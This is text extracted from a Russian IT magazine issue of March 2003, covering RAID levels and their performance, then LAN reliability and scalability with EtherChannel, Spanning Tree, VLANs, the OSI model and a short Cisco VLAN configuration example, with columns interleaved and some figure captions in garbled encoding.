RAID-100, в свою очередь, представляет собой RAID-0 массив, в качестве физических «устройств» которого используются RAID-10 массивы. Конфигурация крайне редкая, и может быть реализована только с одновременным использованием аппаратного и програмного RAID. Правильно спроектированный RAID-100 массив обеспечит максимально возможную производительность, и наоборот, в случае ошибки при конфигурировании массива может получиться весьма неторопливый динозавр. Заметным недостатком вышеперечисленных уровней RAID-1, 10 и 100 являются большие потери дискового пространства. На самом деле для этих уровней «потери» составят ровно половину от суммарной емкости физических устройств. Для сокращения таких потерь и были предложены RAID уровней 3, 4 и 5, основанные на страйпинге с контролем четности.

RAID-3 является наименее используемым и наиболее труднореализуемым представителем данного типа масивов. RAID-3 масивы состоят из небольшого числа дисков, редко больше пяти. Один из этих дисков использутся для хранения данных четности, а оставшиеся – для хранения полезных данных. При этом скорости вращения всех дисков массива синхронизированы. При запросе любого блока такого массива, головки всех дисков также передвигаются синхронно. В результате такой синхронизации в один момент времени головки всех дисков будут находиться над одним и тем же сектором поверхности, читая или записывая его на все диски одновременно. Получившееся устройство более всего напоминает одиночный жесткий диск, если бы существовали диски такой емкости и производительности. Однако изза сложности реализации такой схемы и дороговизны, RAID-3 массивы получили распространение только там, где требуется максимальная производительность для операций чтения большого обьема последовательных данных. Системы видеомонтажа, например.

RAID-30 является логическим продолжением и представляет собой RAID-0 массив, состоящий из RAID-3 массивов. Может быть использован для преодоления ограничений на емкость RAID-3 масивов (как я уже заметил, они состоят из относительно небольшого числа дисков ) и отчасти для увеличения производительности. Как и RAID-100, RAID-30 реализуется одновременным использованием аппаратных (RAID-3 часть) и програмных (RAID-0 часть) средств.

RAID-4. В данной технологии используется страйпинг с контролем четности, при этом один из дисков используется только для хранения данных четности. Контроль четности гарантирует избыточность массива с минимальными потерями полезного дискового пространства, но единственный диск для хранения данных четности быстро ста-

№3(4), март 2003

новится узким местом при операциях записи. Широкого распространения такие системы не получили, и были быстро вытеснены более продвинутым вариантом – RAID-5.

RAID-5 также использует страйпинг с контролем четности, но вместо выделеного диска для данных четности, чанки с этими данными равномерно распределены по всем дискам массива. Такая схема позволяет избежать ограничений на производительность, присущих RAID-4 масивам, и в то же время использовать дисковую емкость максимально эффективно.

RAID-5 массивы могут быть реализованы как аппаратно так и программно, но в случае программной реализации операции записи на массив крайне медленны, так как программное вычисление четности данных требует своей доли процессорного времени. В большинстве случаев, используя программную реализацию, вы теряете больше, чем приобретаете.

RAID-50, аналогично RAID-30, представляет собой симбиоз RAID-0 и RAID-5 с аппаратной реализацией RAID-5 и програмной RAID-0. На мой взгляд, именно RAID-50 на текущий момент времени обеспечивает максимально выгодное сочетание цены, емкости и производительности.

RAID-6 представляет собой RAID-5, дополнительно «накрытый» еще одним диском с данными четности. Такая конструкция была призвана для защиты от одновременного отказа двух дисков (что само по себе крайне маловероятно), но распространения не получила, так как производительность такого массива на операциях записи практически никакая.

Что касается производительности RAID-томов – любая корректно спроектированная система хранения, использующая RAID-тома, обеспечит прирост того или

75

hardware иного вида производительности. Проектирование системы хранения включает анализ таких факторов, как потребность приложения в дисковом пространстве, преобладающие типы запросов ввода/вывода (чтение или запись), размер этих запросов. При этом также необходимо учесть особенности используемых в операционной системе файловых систем, возможности оптимизации ввода/вывода средствами операционной системы, и еще множество других. Вот типичный пример. Предположим, что у нас имеется дисковый массив из 5 дисков, сконфигурированный как аппаратный RAID-5 том с размером чанка 32 Кб, и созданная на нем файловая система с размером блока также 32 Кб. При записи на такой массив файла размером 10 Мб, RAID-контроллер буферизует в кэш-памяти достаточно данных для заполнения страйпа целиком, т.е. 128 Кб (т.к. в этом примере только чанки с 4 дисков могут быть использованы для данных), вычисляет данные четности, и записывает все 5 чанков на диски. Т.е. в данном случае контроллер перезаписывает большинство страйпов целиком, и чтения данных с дисков не производится, только запись. А теперь давайте предположим, что нам необходимо перезаписать только один чанк в страйпе. Для этого блоки данных перезаписываемого чанка и блоки данных четности считываются в кэш-буфер RAID-контроллера. Туда же записываются новые данные для перезаписываемого чанка. Затем производится операция “XOR” для новых данных и считанных старых данных чанков. Над получив-

76

шийся в результате этой операции блоком данных промежуточной четности и старыми данными четности также проводится операция “XOR”, генерирующая новые данные четности. И наконец, новые данные чанка и новые данные четности записываются на диски. Как видно, в результате одного такого изменения данных мы получим дополнительную нагрузку в виде двух операций чтения и двух операций записи. А теперь представьте, что вы ошиблись при проектировании системы хранения, и любая операция записи на нее порождает такую двойную нагрузку. В действительности, практически невозможно точно предположить, как будут располагаться данные на RAIDтоме, поэтому прежде чем запускать систему в эксплуатацию, проведите несколько экспериментов с изменением размера чанка и размера блока файловой системы. Ну и напоследок немного о надежности. Действительно, RAID-массив может спасти ваши данные при отказе одного из его жестких дисков. И даже продолжить работу. Но это не спасет вас от одновременного отказа нескольких дисков, скажем, из-за сбоя в системе электропитания, или отказе RAID-контроллера, или ошибке в его программном обеспечении. И хотя теория вероятности будет работать на вас, законы Мерфи окажутся сильней. Примите за данность тот факт, что худшее случится именно с вашим массивом и в самый неподходящий момент. И тогда спасти вас сможет только бэкап, созданный прошедшей ночью. Никогда не полагайтесь только на RAID-массивы.

ЛВС: УПРАВЛЯЕМОСТЬ, НАДЕЖНОСТЬ, МАСШТАБИРУЕМОСТЬ

Значение коммуникационных структур, таких как локальные вычислительные сети, с каждым годом возрастает. Появляются новые технологии, предлагающие все более фантастические возможности; новое оборудование, построенное на основе этих технологий и реализующее эти возможности. Так же возрастает роль надежной и своевременной обработки информации, что требует высококачественных и скоростных линий связи и обслуживающего оборудования с широкой полосой пропускания. Только та коммуникационная система может считаться современной и актуальной, которая удовлетворяет ограничениям по пропускной способности, надежности/степени защиты от сбоев и отказов и модернизируемости, т.к. не секрет, что в настоящее время оборудование и технологии обновляются примерно раз в два года, и эта частота имеет тенденцию к увеличению.

ДЕНИС ЕЛАНСКИЙ

образование Как и всякая иная система, вычислительная сеть (далее – ЛВС), имеет некое математическое описание. Наиболее полно физическая структура каналов связи, реализуемых в рамках ЛВС, может быть представлена неориентированным графом. Узлами графа являются узлы коммутации (концентраторы и/или коммутаторы); ребра графа, в свою очередь, описывают линии связи между узлами коммутации. Здесь и далее предполагается рассматривать сети с коммутируемой, а не разделяемой средой передачи данных. Учитывая, что сети с разделяемой средой передачи – сети, построенные на базе концентраторов и/или кабельных сегментов, такие как 10Base2, 10Base5 – малоэффективны и больше не устанавливаются, то автор позволит себе не рассматривать это ответвление технологии построения ЛВС, т.к. оно не отвечает современным требованиям. Физически ЛВС можно представить как несколько многопортовых коммутаторов, соединенных между собой определенным образом. Учитывая тот факт, что в сети используются исключительно коммутаторы, то ограничение 5-4-3 не является основополагающим. Это позволяет строить сети, в которых было бы значительное количество пользователей, и которые покрывали бы значительные расстояния. Итак, какие сложности могут возникать при построении и эксплуатации ЛВС? Неприятностей может быть неограниченное число, но все их можно охарактеризовать как отказ оборудования, недостаточная скорость существующих каналов передачи данных, увеличение числа пользователей.

шел переход сначала от кабельных сетей к витопарным, а теперь и от 10- к 100-мегабитным сетям). Однако существуют условия, в которых может не хватать имеющихся возможностей по построению канала высокой пропускной способности. Например, имеющиеся коммутаторы поддерживают скорости до 1000 мегабит, а требуется построить канал в 5 гигабит. Или же на 100мегабитном коммутаторе необходимо добиться показателей по пропускной способности в 400-600 мегабит. Естественно, резонно было бы просто заменить существующее оборудование на более производительное, но бывают случаи, когда этого нельзя сделать по ряду причин (это может быть невозможно либо с финансовой, либо с технической точки зрения).

Увеличение числа пользователей Другим неприятным моментом является увеличение числа пользователей. С одной стороны, в проект должна быть заложена возможность потенциального расширения сети (плох тот инженер, результат работы которого не может быть усовершенствован согласно требованиям времени). С другой стороны, при росте количества пользователей (абонентов) в сети, накладные расходы на коммутацию в сети резко возрастают. Эта проблема порождается тем, что каждое устройство, подключенное к сети, периодически отсылает в сеть служебную информацию, которая оповещает остальные сетевые устройства о том, что данное устройство функционирует. Более всего это касается коммутаторов, работающих в основном на канальном уровне согласно OSI-модели, обменивающихся таблицами коммутации.

Отказ оборудования Как уже говорилось выше, ЛВС представляет собой узлы коммутации и линии передачи данных. Линия передачи – это, как правило, кабельная система; узлы коммутации включают процессор коммутации, блок питания, систему вентиляции, интерфейсные платы. Естественно, что любой из этих элементов может дать сбой либо отказать. На приводимом ниже рисунке показаны коммутаторы, производимые Cisco Systems.

Ðèñ. 1. Êîììóòàòîðû Catalyst 6xxx ïðîèçâîäñòâà Cisco Systems.

Недостаточная скорость Технология Ethernet предусматривает следующие скорости передачи данных: 10, 100, 1000, 10000 Мб/с. На сегодняшний момент наибольшее распространение имеют ЛВС, работающие на скоростях 10 и 100 мегабит, причем 100-мегабитные сети постепенно вытесняют своих 10-мегабитных предшественников (так произо-

№3(4), март 2003

Отказы оборудования Существуют методы, использование которых позволяет уменьшить риск полной утраты работоспособности системы. Основой подобных мероприятий является резервирование. Всего существует три типа систем резервирования: «холодное» резервирование (в этом случае запасной модуль лежит на складе, и в случае выхода основного модуля он монтируется вместо отказавшего устройства); «теплое» резервирование, когда запасной агрегат подключен параллельно основному, но находится в выключенном состоянии (включить его можно сразу после того, как откажет основная подсистема); третьим типом резервирования является «горячее» резервирование: резервирующий элемент работает параллельно с резервируемым. С точки зрения времени, требуемого на восстановление работоспособности системы, оптимален вариант с «горячим» резервированием, т.к. при этом не возникает простоя. Однако с точки зрения времени наработки на отказ «горячее» резервирование приводит к преждевременному износу запасных модулей. Впрочем, для современных систем (например, коммутаторов) среднее время наработки на отказ составляет сотни тысяч часов непрерывной работы. Отказать может любой элемент сети: линия передачи, образуемая кабелем (витая пара с разъемами RJ45, оптоволокно с соответствующими разъемами), порт одного (обоих) из ком-

79

образование мутаторов, плата расширения коммутатора, контроллер плат расширения, процессор коммутации, блок питания, вентилятор, сеть переменного тока. Для того чтобы обезопасить свою сеть от перебоев электропитания, следует предусматривать источники бесперебойного питания, а если возможны долгосрочные перебои с электропитанием, то и системы резервного энергообеспечения. Чтобы максимально обезопаситься от поломок оборудования, следует: резервировать все уязвимые узлы системы; использовать надежное оборудование известных производителей. При этом обе рекомендации равнозначны, ибо известно, что скупому приходится расплачиваться за собственную скупость. Учитывая тот факт, что большую часть рынка занимает продукция Cisco Systems, все дальнейшие рассуждения будут вестись исходя из того, что при построении ЛВС используется сетевое оборудование именно этого производителя (естественно, это вовсе необязательное условие, т.к. намечается тенденция к сглаживанию качества у достаточно значительного числа производителей. Главное, на что следует обратить внимание – на возможности расширения сети и резервирования. Иными словами – на степень реализации идеи защиты инвестиций).

Глоссарий Вычислительная сеть (локальная вычислительная сеть, ЛВС) – это сеть компьютеров, сосредоточенных на небольшой территории; в общем случае ЛВС представляет собой коммуникационную систему, принадлежащую одной организации. Производительность – в данной работе имеет место, пусть и не вполне корректное отождествление таких понятий, как производительность, время отклика системы и скорость передачи данных. Итак, под производительностью будет пониматься скорость, с которой данные могут быть переданы по линии связи от одного ее окончания к другому. Отказоустойчивость (надежность) – в данном случае определение тоже не вполне каноническое: под отказоустойчивостью (надежностью) будем понимать способность системы сохранять свою функциональность при сбое/отказе в одном из ее узлов. Восстанавливаемость – время, требуемое на физическую замену вышедшего из строя модуля на новый (или же сама возможность такой операции). Масштабируемость – степень сложности или наличие возможности увеличения числа абонентов вычислительной сети. Инкапсуляция (encapsulation) – процедура дробления данных на фрагменты определенной длины с добавлением к ним некой служебной информации. Время наработки на отказ – время, проходящее с момента включения нового прибора до его отказа. Отказ – полная потеря работоспособности устройства; устраняется посредством ремонта. Сбой – краткосрочная потеря работоспособности (не-

80

Для того чтобы избежать большинство проблем, описанных ранее, достаточно создать альтернативные маршруты.

Ðèñ. 2. Íåðåçåðâèðóåìàÿ ËÂÑ.

В данном случае, при выходе из строя любого элемента тракта передачи данных на участке абонент 1 – абонент 2, нарушается работоспособность всего механизма передачи данных. Для того чтобы разрешить проблему отказов в линии передачи, бывает достаточно ввести параллельные связи в сети:

Ðèñ. 3. ËÂÑ ñ ðåçåðâèðóåìûìè êàíàëàìè.

корректное функционирование) устройства; имеет случайный характер. Зацикливание – ситуация, при которой пакет, переданный отправителем и достигший адресата, не уничтожается, т.к. существует в нескольких экземплярах, возникающих в каждом узле ветвления тракта передачи данных. Приводит к бесконечной (в пределах срока жизни) ретрансляции пакета. Сводит к нулю эффективную пропускную способность ЛВС. Порождается теми же причинами, что и широковещательные штормы. Шторм широковещания (broadcast storm) – «размножение» широковещательных пакетов, приводящее к значительному, вплоть до полной остановки, снижению пропускной способности ЛВС. Возможен при неправильной настройке протокола охватывающего дерева в случае наличия петель в сети. Протокол охватывающего дерева, Spanning Tree Protocol (STP) – протокол, настройка которого позволяет логически разрывать существующие физические линии связи в принудительном порядке. Из нескольких существующих трактов передачи данных оставляется только один, корневой маршрут, а остальные переводятся в выключенное состояние. При этом службы протокола инспектируют активную связь и при ее разрыве активируют одну из альтернативных линий, находившихся до того в состоянии принудительного логического отключения.

EtherChannel – технология объединения нескольких (от двух до восьми) портов коммутатора. При этом скорость результирующего канала кратна количеству портов, задействованных в группировании. Для создания канала EtherChannel равное количество портов на двух коммута-

образование Однако такое резервирование не спасает при выходе из строя одного из промежуточных узлов коммутации (если произойдет отказ коммутатора 2 или коммутатора 3, то связь между абонентами 1 и 2 опять будет невозможна). Для этого случая целесообразно предусмотреть резервный канал между первым и последним коммутаторами, создав, таким образом, кольцо:

ные порты, так и дополнительные процессоры коммутации. [4] Более того, желательно использовать оборудование, поддерживающее установку двух и более блоков питания и систем вентиляции. Это также снизит риск общего выхода системы из строя. Однако при создании в ЛВС каких-либо запасных маршрутов передачи данных возникает масса проблем. Подобная схема обеспечения надежности не закладывалась в стандарты, определяющие логику работы Ethernet. Предполагается, что любой путь от одного узла к другому уникален. В случае возникновения петель (это происходит при добавлении резервных/альтернативных связей между узлами сети) возникают «штормы широковещания» и зацикливание пакетов (об этом несколько позже).

Ðèñ. 4. ËÂÑ ñ êîëüöåâûì ðåçåðâèðîâàíèåì.

Естественно, подобное резервирование не спасает от повреждений соединений последней мили, от повреждений портов подключения абонентов и от выхода из строя оконечных коммутаторов. Для снижения рисков, связанных с этими угрозами, следует оставлять несколько свободных гнезд на каждом коммутаторе (тогда, в случае выхода из строя используемых портов, можно быстро перенастроить свободный порт и осуществить переключение абонента вручную). Также стоит по возможности использовать коммутаторы, которые поддерживают установку плат расширения, предоставляющие как дополнитель-

Недостаточная скорость

торах объединяется в группу, затем между ними прокладывается кабельное соединение. По аналогии с технологией, получаемый канал также именуется EtherChannel. Виртуальная ЛВС (VLAN) – группа узлов сети, трафик которой, в том числе и широковещательный, на канальном уровне полностью изолирован от других узлов сети. [1] Технология VLAN предназначена для облегчения процесса построения разделенных ЛВС, что предоставляет весьма мощный барьер на пути распространения ошибочного трафика из одной сети в другую. Кроссовер (crossover) – витая пара, обжатая таким образом, что первый и третий, второй и шестой, третий и первый, шестой и второй контакты RJ-разъемов соединены между собой:

Этот тип кабелей используется для соединения маршрутизатора с концентратором или коммутатором, компьютера с концентратором или коммутатором. Внешний порт – порт коммутатора, участвующий в организации связи с другим коммутатором. Внутренний порт – порт коммутатора, используемый для организации связи с абонентом сети. Ограничение 5-4-3 – между двумя любыми узлами сети может быть не более пяти сегментов и четырех повторителей. При этом только три сегмента сети могут быть нагружены. Данное ограничение накладывается на разделяемые 10-мегабитные сети.

Ðèñ. 1 Êðîññîâåð.

Используется для соединения коммутатора с коммутатором, концентратора с концентратором, концентратора с коммутатором, маршрутизатора с маршрутизатором, двух компьютеров напрямую. Прямой кабель (патч-корд, straight-through) – контакты двух RJ-разъемов соединяются согласно номерам: первый с первым, второй со вторым, третий с третьим, шестой с шестым:

Ðèñ. 2. Ïàò÷-êîðä.

№3(4), март 2003

Существуют ситуации, в которых приложениям необходимо предоставить более высокую скорость передачи данных, чем это возможно сделать из-за ограничений существующих портов коммутатора. Например, в сети существуют порты со скоростью передачи трафика 10 Мб/с, или 100 Мб/с. При этом требуются скорости в 50 или же 500 Мб/с). Подобная задача может быть решена тремя способами: установкой нового, более производительного оборудования, установкой в корпус имеющихся коммутаторов более скоростных плат расширения или объедине-

Модель OSI Это семиуровневая эталонная модель OSI (open systems interconnection, взаимодействие открытых систем) была предложена международной организацией по стандартизации (ISO, international standard organization) производителям сетевого оборудования и сетевого программного обеспечения, с тем чтобы облегчить/сделать возможным взаимодействие продукции различных фирм-производителей. На этапе становления отрасли вычислительных сетей большая часть оборудования, производимого в мире, была несовместима друг с другом ни с точки зрения физической организации работы, ни с точки зрения логической обработки передаваемых сигналов. Данная модель имеет семь уровней, каждый из которых отвечает за определенное действие. Физический уровень – уровень, описывающий параметры передаваемого сигнала, характеристики среды передачи, такие как коннекторы, разъемы, кодирование, оп-

81

образование ния нескольких портов коммутатора в EtherChannel. Как может показаться на первый взгляд, идея объединения нескольких линий в одну весьма затратна и неэффективна, т.к. при этом, с одной стороны, занимается значительное количество портов коммутатора, а с другой – приходится сильнее нагружать процессор коммутатора. Однако очевидно, что по тем или иным причинам не всегда возможно установить дополнительную плату расширения или же новый, более производительный коммутатор. Это может быть обусловлено финансовыми затруднениями, или же тем, что необходимая скорость передачи данных еще вообще не реализована. Так, имея восемь 10-гигабитных портов (в настоящее время технология 10G Ethernet переживает свое становление, но, тем не менее, уже можно рассматривать возможность ее использования в реальной жизни), можно организовать 80-гигабитный канал передачи данных. С другой стороны, создание канала EtherChannel позволяет иметь в сети несколько одновременно работающих запараллеленных линий связи, что невозможно в иных случаях. Таким образом, решая проблему повышения пропускной способности сети на какомлибо участке, можно решить еще и проблему резервирования связей. При разрыве одного из каналов, образующих группу, EtherChannel не разрушается, а лишь теряет в пропускной способности, что, хоть и неприятно с точки зрения системного администратора, но не так критично с точки зрения функциональной пригодности самой ЛВС. В случае с EtherChannel мы имеем «горячее» резервирование, в то время как используя протокол STP, мы можем рассчитывать лишь на «теплое» резервирование.

Ðèñ. 5. Òåõíîëîãèÿ EtherChannel â ËÂÑ.

тическая модуляция. Физическому уровню соответствуют такие протоколы/стандарты, как EIA/TIA-232, V.35, EIA/ TIA-449, V.24, RJ45, Ethernet, 802.3, 802.5, FDDI, NRZI, NRZ, B8ZS. [2] Канальный уровень – уровень, протоколы которого отвечают за проверку доступности среды передачи, обнаружение и коррекцию ошибок. [1] К протоколам канального уровня относятся IEEE 802.3/802.2, HDLC, Frame Relay, PPP, FDDI, ATM, IEEE 802.5/802.2. Сетевой уровень – уровень, служащий для образования единой транспортной системы. Протоколы сетевого уровня, перенаправляющие данные от одной системы к другой, позволяют выполнить адресацию при межсетевом взаимодействии. Протоколы сетевого уровня подразделяют на два класса: с установкой соединения и без него. Протоколы первого класса сначала устанавливают соединение (устанавливают маршрут следования пакетов от источника к получателю). Протоколы второго класса оперируют данными, содержащими полную адресную информацию адресата. Каждое промежуточное сетевое устройство, получив такой

82

Увеличение числа абонентов Увеличение числа абонентов в сети стоит трактовать двояко: во-первых, это процедура расширения сети, ее масштабирование (добавление новых подключений, плат расширения, коммутаторов), а во-вторых, – управление трафиком возрастающего числа абонентов.

Масштабирование При проектировании сети естественно возникает вопрос: будет ли развиваться производство, использующее планируемую сеть, или нет. Иными словами, всегда стоит выяснить у заказчика будущее его ЛВС. Если в сети планируется установить простенький коммутатор с дюжиной 100-мегабитных портов и подключить к нему десяток пользователей, то проблем с масштабированием, скорее всего, не возникнет. Самое неприятное, что может случиться, так это необходимость установить еще один такой же коммутатор. Все, что для этого понадобится – витая пара, обжатая как «кроссовер» и сам коммутатор. Если же предполагается значительное расширение сети, увеличение не только числа абонентов, но и сервисов, предоставляемых сетью, то установкой еще одного коммутатора ограничиться, скорее всего, не удастся. Разумной выглядит идея заложения перспективы расширения сети в проект на этапе технического задания. В любом случае предпочтительно использование модульных устройств. Они и надежнее (сгорел один модуль – на его место, в тот же слот, ставится другой модуль), и гибче: понадобились порты для подключения оптоволоконных кабелей – покупайте и устанавливайте; нужен модуль ATM или возникла потребность в передаче голоса по сети – достаточно приобрести соответствующую плату расширения, а не еще один громоздкий шкаф. Кроме того, покупая дополнительный коммутатор, приходится платить за его корпус, за процессор коммутации, за блок питания – нести расходы, которые никоим образом не относятся к вычислительной сети, от копакет, считывает адресную информацию и принимает решение о дальнейшей маршрутизации. [3] К протоколам сетевого уровня относятся IP, IPX, AppleTalk, DDP, ICMP. Транспортный уровень – уровень, отвечающий за передачу данных верхних уровней с той степенью надежности, которая им требуется. В модели OSI имеется 5 классов сервиса предоставляемых транспортным уровнем. Эти классы отличаются качеством услуг: срочностью, возможностью восстановления прерванной связи, наличием средств мультиплексирования нескольких соединений между различными протоколами через общий транспортный поток, способностью к обнаружению и исправлению ошибок передачи, таких как потеря, искажение и дублирование пакетов. [1] Протоколами транспортного уровня являются SPX, TCP, UDP. Сеансовый уровень – определяет способ начала, поддерживания и завершения сеанса связи между двумя абонентами (собственно отсюда и происходит его название). Это позволяет двум приложениям синхронизировать связь и обмениваться данными. На этом уровне обмен между двумя системами делится на диалоговые блоки, и обес-

образование торой требуется лишь наличие свободных портов для подключения устройств и наличие определенного спектра сервисов. Еще один аргумент в пользу модульных коммутаторов – отсутствие необходимости занимать порты коммутатора для осуществления связи с другими коммутаторами (имея в сети двадцать коммутаторов, придется выделить на их взаимодействие как минимум тридцать восемь портов, в то время как при наличии пяти коммутаторов, обеспечивающих аналогичную (а зачастую и превосходящую) функциональность, для обеспечения взаимодействия между ними потребуется лишь восемь портов). В качестве примера модульного коммутатора можно привести коммутаторы Catalyst восьми-, шести-, пяти- и четырехтысячной серий производства Cisco Systems.

Управление трафиком Когда сеть начинает разрастаться, либо если ЛВС изначально имеет сложную структуру, то становится возможным выделить независимые подразделения, которые практически не общаются друг с другом. При этом компьютеры каждого подразделения транслируют в сеть свои широковещательные пакеты, т.к. имеется единый домен широковещания (broadcast domain). Естественно, что это не может не оказать влияния на производительность сети, поскольку любой, даже столь незначительный трафик приводит к увеличению нагрузки, а соответственно, и к падению общей пропускной способности. Помимо служебного трафика, существует еще и ошибочный трафик – пакеты, хотя и доставленные адресатам, но копии которых все еще находятся в сети. Естественным было бы желание разбить ЛВС на логические фрагменты согласно циркуляции трафика. При этом компьютеры, принадлежащие к одному отделу, попадали бы в одну функциональную подгруппу. Такой эффект может быть получен как минимум двумя способами: физическим разделением сети с использованием маршпечиваются основные и вспомогательные точки синхронизации этого обмена. [2,3] К протоколам сеансового уровня относятся RPC, SQL, NFS, NetBios names, AppleTalk ASP, DECnet SCP. Представительский уровень – уровень, определяющий формат передаваемых данных. Еще одной функцией этого уровня является шифрование. [2] Прикладной (программный) уровень – уровень, определяющийся приложениями, взаимодействующими с приложениями других компьютеров. Примерами этого уровня могут служить Telnet, HTTP, FTP, WWW-браузеры, NFS, SMTP, SNMP, X.400, FATM. [2] Приложения программного уровня генерируют поток данных, который должен быть передан какому-либо удаленному узлу. Дробление потока данных начинается на транспортном уровне. Перед блоком передаваемых данных ставится заголовок транспортного уровня, позволяющий стороне-приемнику осуществлять коррекцию данных, учет потерянных и повторяющихся сегментов.

№3(4), март 2003

рутизаторов и логическим разделением посредством технологии виртуальных ЛВС. Особого внимания заслуживает технология виртуальных сетей, благодаря которой можно, не прибегая к использованию дополнительного дорогостоящего оборудования, повысить производительность сети, облегчить процесс администрирования сети, повысить степень контроля за передаваемым по сети трафиком.

STP (протокол охватывающего дерева) Впервые протокол охватывающего дерева был предложен компанией Digital Equipment Corporation (DEC), которая позднее была куплена и стала частью Compaq, компании, ставшей, в свою очередь, элементом такого гиганта, как HP. Несколько позднее комитет IEEE выпустил собственную версию протокола STP, получившую название 802.1d. В настоящее время обе версии STP совместимы и поддерживаются всеми коммутаторами Cisco. Основной задачей STP является предотвращение возникновения в сети петель канального уровня (на уровне мостов и коммутаторов). Службы протокола непрерывно инспектируют ЛВС, находя при этом все существующие связи и переводя избыточные связи в пассивное состояние. Процедура избавления от избыточных связей основана на выборе «корневого моста». При этом в сети может быть только один «корневой мост». Порты корневого моста называются назначенными портами и функционируют в так называемом передающем режиме: они способны передавать и принимать трафик. Все остальные коммутаторы в сети являются некорневыми. Часть портов некорневых коммутаторов является корневыми портами (это определяется затратностью порта, что, в свою очередь, зависит от пропускной способности образуемой связи с корневым мостом), которая также находится в передающем режиме. Остальные порты находятся в выключенном состоянии. Такой режим работы называется блокированным. На сетевом уровне к началу сегмента (датаграммы), полученного с транспортного уровня, приписывается сетевой адрес отправителя. Наличие такой информации делает возможной маршрутизацию пакетов между сетями. На канальном уровне к полученному пакету приписывается заголовок канального уровня, содержащий преамбулу, MAC-адрес получателя и MAC-адрес отправителя. К концу пакета приписывается трейлер, содержащий проверочную последовательность кадра (иными словами – результат избыточного цикличного кодирования), позволяющий определять и исправлять ошибки физического уровня.

Ðèñ. 3 Èíêàïñóëÿöèÿ äàííûõ äëÿ IP-ñåòåé.

83

образование Òàáëèöà 2. Êðàòêîå îïèñàíèå ðåæèìîâ ïîðòîâ.

Ðèñ. 6. Ðàáîòà STP-ïðîòîêîëà.

Определение «корневого моста» Коммутаторы, поддерживающие STP, обмениваются информацией, называемой Блоки Данных Протокола Моста (Bridge Protocol Data Units, BPDU). Блоки BPDU передаются посредством многоадресной рассылки и содержат конфигурационную информацию. Для определения корневого моста и корневых портов используется идентификатор моста (коммутатора). Этот идентификатор записывается в 8 байтах и содержит приоритет устройства и его MAC-адрес. По умолчанию приоритет всех устройств, выполняющих STP 802.1d, равен 32768. Если приоритеты обоих коммутаторов равны, затем сравниваются их MAC-адреса. В качестве корневого моста выбирается устройство с наиболее низким приоритетом. Стоит также помнить, что BPDU передаются по сети каждые 2 секунды (если не назначен иной интервал оповещения).

Типичной ситуацией для портов коммутатора является нахождение либо в состоянии блокировки, либо в состоянии передачи. Если же в сети произошли топологические изменения (обрывы или же были добавлены новые коммутаторы), то все порты переходят в режим прослушивания и изучения. Важным параметром протокола является сходимость – время, за которое порт может перейти из режима блокировки в режим передачи. Предустановленное время конвергенции – 50 секунд, однако оно может быть изменено, что не рекомендуется, но в исключительных случаях возможно изменить и эту настройку.

Virtual LAN (виртуальные ЛВС) Как уже упоминалось, виртуальные сети предназначены для разбиения ЛВС на несколько доменов широковещания. Этого результата можно добиться двумя способами:

Определение «выбранного порта» Чтобы определить порты, которые будут использованы для сообщения с корневым мостом, необходимо для начала рассчитать стоимости путей. Протокол вычисляет стоимости путей на основе пропускных способностей проходимых каналов согласно приводимой ниже таблице:

Ðèñ. 7. Ðàçáèåíèå ËÂÑ íà 3 øèðîêîâåùàòåëüíûõ äîìåíà áåç èñïîëüçîâàíèÿ VLAN.

Òàáëèöà 1. Òèïîâûå ñòîèìîñòè äëÿ ðàçëè÷íûõ ñåòåé Ethernet.

Режимы работы портов STP Порты коммутатора, управляемого STP-протоколом, могут находиться в четырех различных состояниях: Блокировка – в этом режиме кадры не передаются; читаются блоки BPDU. Все порты находятся в данном состоянии, когда коммутатор включается первый раз. Прослушивание – читаются блоки BPDU, чтобы убедиться в отсутствии петель в сети перед пересылкой данных. Изучение – определяет MAC-адреса и строит таблицу фильтрации, однако кадров не передает. Передача – передает и принимает данные.

84

Ðèñ. 8. Ðàçáèåíèå ËÂÑ íà 3 øèðîêîâåùàòåëüíûõ äîìåíà ñ èñïîëüçîâàíèåì VLAN.

В обеих схемах используется маршрутизатор, т.к. коммутатор, являющийся устройством канального уровня, не может передавать трафик между различными сетями (будь то физически разделенные сети или же логически разделенные виртуальные сети). Ниже приводится пример конфигурирования виртуальной сети:

образование Switch>enable Switch#vlan database Switch(vlan)vlan vlan_number name vlan_name Switch(vlan)exit Switch#config terminal Switch(config)interface module/number Switch(config-if)switchport mode access Switch(config-if)switchport access vlan vlan_number Switch(config-if)end

В результате описанных действий будет создана виртуальная сеть с номером vlan_number и именем vlan_name. После этого порт коммутатора с номером module/number будет приписан в виртуальную сеть с заданным номером vlan_number. Технология виртуальных сетей облегчает управление сетью: если какой-либо пользователь переезжает в другой офис, не меняя при этом виртуальной сети, достаточно лишь включить его новый порт подключения в его старую виртуальную сеть. Для каждой VLAN коммутатор генерирует отдельную таблицу адресов. Так, если кадр был получен портом, приписанным к VLAN2, то поиск будет производиться в соответствующей таблице адресов. Когда кадр получен, адрес отправителя сверяется по адресной таблице. И если его там нет, он туда заносится. Также проверяется и адрес получателя, с тем чтобы можно было принять решение о перенаправлении принятого кадра в верном направлении. Иными словами, коммутатор работает точно также, как и в обычном режиме, за исключением того, что используются отдельные адресные таблицы для каждой виртуальной сети. В случае если используется один коммутатор, все более или менее просто. Если же коммутаторов несколько, то их надо каким-то образом объединить, что непросто. На рисунке 9 приведена ситуация, когда на двух коммутаторах построено две виртуальные сети.

Или…

Внешний порт коммутатора 2 не находится в VLAN1. В этом случае кадр не может быть доставлен адресату, поскольку коммутатор не осуществляет маршрутизации между виртуальными сетями. Или…

Перед тем как выполнен шаг 4, коммутатор 1 приписывает к кадру заголовок, который идентифицирует его принадлежность к первой виртуальной сети. В этом случае коммутатор 2, проанализировав заголовок кадра, способен принять верное решение о перенаправлении данных в нужную VLAN, на нужный интерфейс. Сетевые коммутаторы используют третий метод – тегирование кадров. Суть тегирования заключается в добавлении к заголовкам каждого кадра некоей сопроводительной информации, определяющей принадлежность кадра к той или иной подсети. Второе название тегирования – транкинг (trunking). Оборудование Cisco Systems поддерживает две разновидности транкинга: ISL (Inter-Switch Link, объединение коммутаторов) и IEEE802.1Q. Транкинг используется не только между коммутаторами, но и между маршрутизатором и коммутатором. Пусть имеется сеть, изображенная на рисунке 10.

Ðèñ. 10. Ìàðøðóòèçàöèÿ ìåæäó âèðòóàëüíûìè ËÂÑ.

Ðèñ. 9. Äâà êîììóòàòîðà, äâà VLAN.

